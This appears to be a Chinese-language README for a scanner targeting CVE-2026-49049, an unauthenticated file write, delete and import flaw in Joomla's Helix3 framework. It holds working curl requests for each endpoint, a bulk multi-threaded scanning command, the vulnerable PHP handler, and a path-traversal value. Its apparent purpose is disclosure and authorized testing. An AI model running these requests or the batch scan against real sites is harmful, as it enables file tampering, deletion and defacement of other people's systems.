CVE-2026-49049 影响 Joomla 的 Helix3 模板框架(版本 1.0 至 3.1.0)。通过 Joomla 的 com_ajax 调度器可访问的 onAjaxHelix3 处理器,在多个破坏性操作上未执行任何身份验证、授权或 CSRF 验证:
| 操作 | 影响 | 可用版本 |
|---|---|---|
save | 写入攻击者控制的 JSON 文件,支持路径遍历 | 所有版本 |
remove | 删除任意文件 — 无扩展名或路径限制 | 所有版本 |
import | 覆盖数据库中存储的模板参数 | 仅 v3.x |
注意:
import操作是在 Helix3 v3.x 中添加的。运行 v2.x 的站点仅受save和remove影响。
该漏洞由 Phil Taylor (mySites.guru) 发现并于 2026 年 6 月 29 日公布。
| Helix3 版本 | save/remove | import |
|---|---|---|
| 1.0 – 2.x | 存在漏洞 | 不存在 |
| 3.0 – 3.1.0 | 存在漏洞 | 存在漏洞 |
| 3.1.1+ | 已修补 | 已修补 |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# 单个目标
python cve_2026_49049.py -t 192.168.1.100
# 批量扫描
python cve_2026_49049.py -f targets.txt -o results.txt
# 带 JSON 报告和详细输出
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target 单个目标(域名或 IP)
-f, --file 包含目标的文件,每行一个
-o, --output 实时文本输出(默认:cve-2026-49049_scan.txt)
--json 结构化 JSON 报告(默认:cve-2026-49049_report.json)
--threads 并发线程数(默认:15)
--timeout HTTP 超时秒数(默认:15)
-v, --verbose 显示探测详情
扫描器执行只读探测——它通过未经身份验证的 save 端点将无害的 JSON 文件写入 Helix3 布局文件夹,验证文件已写入,然后立即通过 remove 端点将其删除。目标上不会留下任何持久更改。
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
扫描器探测这些确切端点。用于手动验证:
步骤 1 — 确认 Helix3 已安装
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# 查找 <version>X.X.X</version>
步骤 2 — 测试 save 操作(未经身份验证的文件写入)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
步骤 3 — 测试 remove 操作(未经身份验证的文件删除)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
步骤 4 — 测试 import 操作(仅 v3.x,v2.x 不可用)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# 注意:import 在 Helix3 v3.x 中添加。
# 运行 v2.x 的站点对此操作将返回空响应。
在 3.1.1 之前的 Helix3 版本中,plugins/ajax/helix3/helix3.php 通过 onAjaxHelix3() 处理请求,没有任何防护:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// 无身份验证检查。无 CSRF 令牌。无路径验证。
$filepath = $layoutPath . $layoutName; // 可能路径遍历
switch ($action) {
case 'remove':
unlink($filepath); // 任意文件删除
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // 写入
break;
}
}
layoutName=../../../somewhere/evil 将文件写入预期布局目录之外save(追加 .json)不同,remove 可以针对任何文件类型custom_js 在模板输出中未转义渲染,从而在每个页面上实现脚本注入。这是真实世界篡改攻击中使用的向量。仅供教育和授权测试使用。
本软件旨在供进行授权渗透测试的安全专业人员、审计自身基础设施的组织以及研究漏洞利用的研究人员使用。
未经授权访问计算机系统是非法的,可能违反:
- 美国:《计算机欺诈与滥用法》(18 U.S.C. 1030)
- 印度尼西亚:UU ITE 第 30 条和第 46 条
- 欧盟:指令 2013/40/EU
- 英国:《计算机滥用法》1990
作者对误用不承担任何责任。使用本软件即表示您对自己的行为承担全部责任。
| 资源 | 链接 |
|---|---|
本项目与 JoomShaper、Joomla 或 Open Source Matters, Inc. 无关联。
| 原始公告 (mySites.guru) |
| Helix3 3.1.1 安全修复 |
| NVD 条目 | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| JoomShaper GitHub | Helix3 仓库 |